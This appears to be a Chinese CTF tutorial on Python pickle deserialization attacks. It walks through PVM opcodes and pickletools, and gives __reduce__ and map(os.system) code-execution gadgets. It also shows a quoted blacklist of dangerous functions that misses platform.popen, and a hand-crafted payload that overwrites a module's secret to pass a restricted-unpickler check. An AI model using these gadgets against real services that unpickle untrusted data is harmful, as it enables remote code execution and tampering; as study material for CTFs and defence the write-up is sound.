从零开始的pickle反序列化学习
前言
在XCTF高校战疫之中,我看到了一道pickle反序列化的题目,但因为太菜了花了好久才做出来,最近正好在学flask,直接配合pickle学一下。
找了半天终于找到一个大佬,这里就结合大佬的文章写一下。
目录:
- Pickle的简单介绍
- pickletools
- __reduce__
- c操作码
- 参考
正文
0x00 Pickle的简单介绍
在很多任务中我们需要把一些内容存储起来,以备后续利用。如果我们要存储的只是字符串或者数字,我们只需要把它写进文件。而要是我们需要存储的是一个dict,一个list,甚至是一个对象时,就会很麻烦。通行的做法是:通过一套方案,把对象翻译成一个字符串,然后把字符串写进文件;读取的时候,通过读文件拿到字符串,然后翻译成类的一个实例。这就是序列化和反序列化。下面写一个例子:
import pickle class dairy():
data=1
x = dairy() print(pickle.dumps(x)) #b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01.' string = b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01.' y = pickle.loads(string) print(y) # <__main__.dairy object at 0x7fb6cfb30290>
pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM
PVM 由三部分组成:
-
指令处理器
从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到
.
这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。
-
stack
由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
-
memo
由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储
PS:注意下 stack、memo 的实现方式,方便理解下面的指令。默认版本为3号,而我们最经常用的是0号。以下内容都是0号版本。
当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。 --v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。 --v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。 --v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307。 --v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。 --v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。
指令集:
MARK = b'(' # push special markobject on stack STOP = b'.' # every pickle ends with STOP POP = b'0' # discard topmost stack item POP_MARK = b'1' # discard stack top through topmost markobject DUP = b'2' # duplicate top stack item FLOAT = b'F' # push float object; decimal string argument INT = b'I' # push integer or bool; decimal string argument BININT = b'J' # push four-byte signed int BININT1 = b'K' # push 1-byte unsigned int LONG = b'L' # push long; decimal string argument BININT2 = b'M' # push 2-byte unsigned int NONE = b'N' # push None PERSID = b'P' # push persistent object; id is taken from string arg BINPERSID = b'Q' # " " " ; " " " " stack REDUCE = b'R' # apply callable to argtuple, both on stack STRING = b'S' # push string; NL-terminated string argument BINSTRING = b'T' # push string; counted binary string argument SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument BINUNICODE = b'X' # " " " ; counted UTF-8 string argument APPEND = b'a' # append stack top to list below it BUILD = b'b' # call __setstate__ or __dict__.update() GLOBAL = b'c' # push self.find_class(modname, name); 2 string args DICT = b'd' # build a dict from stack items EMPTY_DICT = b'}' # push empty dict APPENDS = b'e' # extend list on stack by topmost stack slice GET = b'g' # push item from memo on stack; index is string arg BINGET = b'h' # " " " " " " ; " " 1-byte arg INST = b'i' # build & push class instance LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg LIST = b'l' # build list from topmost stack items EMPTY_LIST = b']' # push empty list OBJ = b'o' # build & push class instance PUT = b'p' # store stack top in memo; index is string arg BINPUT = b'q' # " " " " " ; " " 1-byte arg LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg SETITEM = b's' # add key+value pair to dict TUPLE = b't' # build tuple from topmost stack items EMPTY_TUPLE = b')' # push empty tuple SETITEMS = b'u' # modify dict by adding topmost key+value pairs BINFLOAT = b'G' # push float; arg is 8-byte float encoding TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
0x01 pickletools
现在越来越多的CTF题目已经不满足于让你用以下的脚本getshell了。
import os, pickle class Test(object): def __reduce__(self): return (os.system,('ls',)) print(pickle.dumps(Test(), protocol=0))
所以手写pickle已经成为了日常。而学习手写pickle的一个最好的工具就是 pickletools 。pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。我们一般使用前两种。
示例代码:
import pickle import pickletools class dairy(): def __init__(self): #别犯傻啊 self.date = 20200311 self.text = "QWQ" self.todo = ["Web","cypto","misc"] x = dairy() s = pickle.dumps(x) print(s) pickletools.dis(s)
运行结果:
b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00dateq\x03Jw;4\x01X\x04\x00\x00\x00textq\x04X\x03\x00\x00\x00QWQq\x05X\x04\x00\x00\x00todoq\x06]q\x07(X\x03\x00\x00\x00Webq\x08X\x05\x00\x00\x00cyptoq\tX\x04\x00\x00\x00miscq\neub.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ dairy' 18: q BINPUT 0 20: ) EMPTY_TUPLE 21: \x81 NEWOBJ 22: q BINPUT 1 24: } EMPTY_DICT 25: q BINPUT 2 27: ( MARK 28: X BINUNICODE 'date' 37: q BINPUT 3 39: J BININT 20200311 44: X BINUNICODE 'text' 53: q BINPUT 4 55: X BINUNICODE 'QWQ' 63: q BINPUT 5 65: X BINUNICODE 'todo' 74: q BINPUT 6 76: ] EMPTY_LIST 77: q BINPUT 7 79: ( MARK 80: X BINUNICODE 'Web' 88: q BINPUT 8 90: X BINUNICODE 'cypto' 100: q BINPUT 9 102: X BINUNICODE 'misc' 111: q BINPUT 10 113: e APPENDS (MARK at 79) 114: u SETITEMS (MARK at 27) 115: b BUILD 116: . STOP highest protocol among opcodes = 2
这就是反汇编功能:解析那个字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。接下来就是优化功能:
import pickle import pickletools class dairy(): def __init__(self): #别犯傻啊 self.date = 20200311 self.text = "QWQ" self.todo = ["Web","cypto","misc"] x = dairy() s = pickle.dumps(x) s =pickletools.optimize(s) print(s) pickletools.dis(s)
运行结果:
b'\x80\x03c__main__\ndairy\n)\x81}(X\x04\x00\x00\x00dateJw;4\x01X\x04\x00\x00\x00textX\x03\x00\x00\x00QWQX\x04\x00\x00\x00todo](X\x03\x00\x00\x00WebX\x05\x00\x00\x00cyptoX\x04\x00\x00\x00misceub.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ dairy' 18: ) EMPTY_TUPLE 19: \x81 NEWOBJ 20: } EMPTY_DICT 21: ( MARK 22: X BINUNICODE 'date' 31: J BININT 20200311 36: X BINUNICODE 'text' 45: X BINUNICODE 'QWQ' 53: X BINUNICODE 'todo' 62: ] EMPTY_LIST 63: ( MARK 64: X BINUNICODE 'Web' 72: X BINUNICODE 'cypto' 82: X BINUNICODE 'misc' 91: e APPENDS (MARK at 63) 92: u SETITEMS (MARK at 21) 93: b BUILD 94: . STOP highest protocol among opcodes = 2
可以看到,字符串s
比以前短了很多,而且反汇编结果中,BINPUT
指令没有了。所谓“优化”,其实就是把不必要的PUT
指令给删除掉。这个PUT
意思是把当前栈的栈顶复制一份,放进储存区——很明显,我们这个class并不需要这个操作,可以省略掉这些PUT
指令。
至于反序列化的原理,太菜了怕讲不好,直接看大佬的文章就好了。(就在参考里)
PS: 使用pickletools.dis
分析一个字符串时,如果.
执行完毕之后栈里面还有东西,会抛出一个错误;而pickle.loads
没有这么严格的检查——它会正常结束。大家应该都知道反序列化字符串的拼接吧。(不知道可以去看看BUUCTF的piapiapia这道题)。通过这种方式我们就有可能实现反序列化字符串的拼接。
0x02 __reduce__:快消失的方法
说到 pickle 反序列化漏洞,__reduce__ 可以说是万恶之源了。它的指令码是 R 。它的作用:
- 取当前栈的栈顶记为
args
,然后把它弹掉。 - 取当前栈的栈顶记为
f
,然后把它弹掉。 - 以
args
为参数,执行函数f
,把结果压进当前栈。
测试脚本上面有,跟像我一样的新人说一下吧,__reduce__ 就像是 PHP 中的 __wakeup 即触发反序列化就自动调用。(这个漏洞现在真的快灭绝了,想要看保护动物的可以去BUUCTF的ikun。有一步就是这个。)回到正题,怎么过滤掉 __reduce__ 呢?很简单,直接禁用 R 操作码就可以了。现在大多数的CTF题目都过滤了 R 操作码,那么不用 __reduce__ 我们还有什么方法呢?
0x02.5 黑名单就不是防黑客的QwQ(我真是取标题鬼才)
2018-XCTF-HITB-WEB : Python's-Revenge的过滤是这样的,没有直接白名单,反而用黑名单禁用了一串函数:
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]
是是是,你禁用多,但是黑名单在CTF的环境下基本上都是有漏网之鱼的。这道题也不例外,漏网之鱼就是 platform.popen() 。你不禁用 R 指令,那么就用R指令。另外,这道题考的好像是另一个点:
class Exploit(object): def __reduce__(self): return map,(os.system,["ls"])
我根本不知道map能这么做。(太菜了)。反正黑名单不可取就对了。
0x03 c操作码:真正的万金油
上面说过c操作码即GLOBAL操作符。它连续读取两个字符串module
和name
,规定以\n
为分割;接下来把module.name
这个东西压进栈。
PS:GLOBAL操作符读取全局变量,是使用的find_class
函数。而find_class
对于不同的协议版本实现也不一样。总之,它干的事情是“去x
模块找到y
”,y
必须在x
的顶层(也即,y不能在嵌套的内层)。
所以在这样的任务下:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应。(这个例子直接用大佬的图吧)。
不能用R
指令码了,不过没关系。还记得我们的c
指令码吗?它专门用来获取一个全局变量。我们先弄一个正常的Student来看看序列化之后的效果:
如何用c
指令来换掉这两个字符串呢?以name的为例,只需要把硬编码的rxz
改成从blue
引入的name
,写成指令就是:cblue\nname\n
。把用于编码rxz
的X\x03\x00\x00\x00rxz
替换成我们的这个global指令,来看看改造之后的效果:
我个人的理解是,直接取出 blue.py 中对应的变量的值,拿它来当做自己传入的值。
这样我们输入就相当于是 blue.py 中的变量了。但是这样就万无一失了吗?
0x04 c操作符的真正用法
上面的方法是有局限的,c操作符是依赖 find_class 这个方法的,而 find_class 是可以被出题人重写的。不幸的是,现在好多出题人都喜欢重写find_class。比如:XCTF高校战疫的一道题。
import base64 import io import sys import pickle app = Flask(__name__) class Animal: def __init__(self, name, category): self.name = name self.category = category def __repr__(self): return f'Animal(name={self.name!r}, category={self.category!r})' def __eq__(self, other): return type(other) is Animal and self.name == other.name and self.category == other.category class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == '__main__': return getattr(sys.modules['__main__'], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() def read(filename, encoding='utf-8'): with open(filename, 'r', encoding=encoding) as fin: return fin.read() @app.route('/', methods=['GET', 'POST']) def index(): if request.args.get('source'): return Response(read(__file__), mimetype='text/plain') if request.method == 'POST': try: pickle_data = request.form.get('data') if b'R' in base64.b64decode(pickle_data): return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.' else: result = restricted_loads(base64.b64decode(pickle_data)) if type(result) is not Animal: return 'Are you sure that is an animal???' correct = (result == Animal(secret.name, secret.category)) return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct) except Exception as e: print(repr(e)) return "Something wrong" sample_obj = Animal('一给我哩giaogiao', 'Giao') pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode() return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
审计源码之后我们发现这道题和之前的目的一模一样。但是因为 find_class 被重写,所以之前的方法用不了了。那么怎么办呢?
首先我们要知道:通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改。然后我们就可进行以下操作:
- 通过
__main__.secret
引入这一个module,由于命名空间还在main内,故不会被拦截 - 把一个dict压进栈,内容是
{'name': 'rua', 'category': 'www'}
- 执行BUILD指令,会导致改写
__main__.secret.name
和__main__.secret.category
,至此 secret.name
和secret.grade
已经被篡改成我们想要的内容 - 弹掉栈顶,现在栈变成空的
- 照抄正常的Animal序列化之后的字符串,压入一个正常的Animal对象,name和category分别是'rua'和'www'
由于栈顶是正常的Animal对象,pickle.loads将会正常返回。到手的Animal对象,当然name和category都与secret.name、secret.category对应了——我们刚刚亲手把secret篡改掉。
所以我们可以构造出payload:
payload = b'\x80\x03c__main__\nsecret\n}(Vname\nVrua\nVcategory\nVwww\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.'
写出脚本测试:
import io import sys import pickle class Animal(): def __init__(self,name,category): self.name = name self.category = category def __eq__(self,other): return type(other) is Animal and self.name == other.name and self.category == other.category print(pickle.dumps(Animal('rxz','G2'))) import secret s = b'\x80\x03c__main__\nsecret\n}(Vname\nVrua\nVcategory\nVwww\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.' #s = pickletools.optimize(s) #pickletools.dis(s) #print(s) res = pickle.loads(s) print(f"{res.name};{res.category}")
运行结果:篡改成功
稍微修改一下就是最终payload。
https://www.zhihu.com/tardis/sogou/art/89132768
https://www.anquanke.com/post/id/188981
。。有点像搬运了。。反正侵权请联系好吧。